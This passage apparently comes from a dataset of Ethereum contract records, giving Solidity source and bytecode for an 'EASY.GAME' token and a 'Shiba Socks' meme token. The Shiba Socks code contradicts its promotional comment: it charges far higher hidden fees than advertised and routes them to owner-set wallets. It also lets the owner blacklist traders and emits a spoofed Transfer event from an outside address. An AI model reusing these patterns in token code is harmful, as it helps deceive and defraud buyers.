function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EasyGame is IERC20, Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor () public {
_decimals = 6;
_totalSupply = 1000000000 * uint(10) ** _decimals;
_name = "EASY.GAME";
_symbol = "EG";
_balances[owner()] = _totalSupply;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063dd62ed3e146102d5578063f2fde38b14610303576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101996103d7565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dd565b6101e9610446565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561044f565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610485565b6102596104a0565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104af565b61017d6004803603604081101561029357600080fd5b506001600160a01b038135169060200135610510565b61017d600480360360408110156102bf57600080fd5b506001600160a01b03813516906020013561055f565b610199600480360360408110156102eb57600080fd5b506001600160a01b038135811691602001351661056c565b6103296004803603602081101561031957600080fd5b50356001600160a01b0316610597565b005b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103ce338484610696565b50600192915050565b60035490565b60006103ea848484610782565b61043c843361043785604051806060016040528060288152602001610a5e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d4565b610696565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ce918590610437908661096b565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103ce338461043785604051806060016040528060258152602001610acf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d4565b60006103ce338484610782565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105f6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661063b5760405162461bcd60e51b81526004018080602001828103825260268152602001806109f06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106db5760405162461bcd60e51b8152600401808060200182810382526024815260200180610aab6024913960400191505060405180910390fd5b6001600160a01b0382166107205760405162461bcd60e51b8152600401808060200182810382526022815260200180610a166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b8152600401808060200182810382526025815260200180610a866025913960400191505060405180910390fd5b6001600160a01b03821661080c5760405162461bcd60e51b81526004018080602001828103825260238152602001806109cd6023913960400191505060405180910390fd5b61084981604051806060016040528060268152602001610a38602691396001600160a01b03861660009081526001602052604090205491906108d4565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610878908261096b565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610928578181015183820152602001610910565b50505050905090810190601f1680156109555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156109c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b7eeb30cbd83e071a3029ff32ef5b008e775f85aca05a46f638ce0e9fc5d771c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,109 |
0x71f42b16d6a48e9f984431afa1848b16b033bebe
|
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
/*
▄ ▄
▐▒▀▄▄▄▄▀▒▌
▄▀▒▒▒▒▒▒▒▒▓▀▄
▄▀░█░░░░█░░▒▒▒▐
▌░░░░░░░░░░░▒▒▐
▐▒░██▒▒░░░░░░░▒▐
▐▒░▓▓▒▒▒░░░░░░▄▀
▀▄░▀▀▀▀░░░░▄▀
▀▀▄▄▄▄▄▀▀
Welcome to ShibaSocks 🧦 fair launch
✅ 1,000,000,000,000 Total Supply
✅ 15% Burned before launch
✅ Buy limit will be announced in telegram
✅ No pre sale wallets or dev wallets
✅ 7% redistribution you get tokens for holding
✅ 30 Second cooldown timer on unique addresses. You will only be able to buy once every 30 seconds per address at launch removed shortly after
✅ Cooldown of 30 seconds between buying and being able to sell will be removed
✅ Anti bot measures. Known bot addresses will be blacklisted prior to launch.
Join our telegram
https://t.me/shibasocks
SPDX-License-Identifier:
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBASOCKS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shiba Socks🧦 ";
string private constant _symbol = 'Socks';
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 9;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 15;
_teamFee = 15;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 7.25e9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dc8565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061290e565b61045e565b6040516101789190612dad565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f4a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128bf565b61048d565b6040516101e09190612dad565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612831565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190612fbf565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061298b565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612831565b610783565b6040516102b19190612f4a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612cdf565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dc8565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061290e565b61098d565b60405161035b9190612dad565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061294a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129dd565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612883565b61121a565b6040516104189190612f4a565b60405180910390f35b60606040518060400160405280601081526020017f536869626120536f636b73f09fa7a62000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161365a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2c9092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612eaa565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612eaa565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611b90565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612eaa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f536f636b73000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612eaa565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613260565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611cf9565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612eaa565b60405180910390fd5b601160149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612f2a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067649d2c967d9500006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffff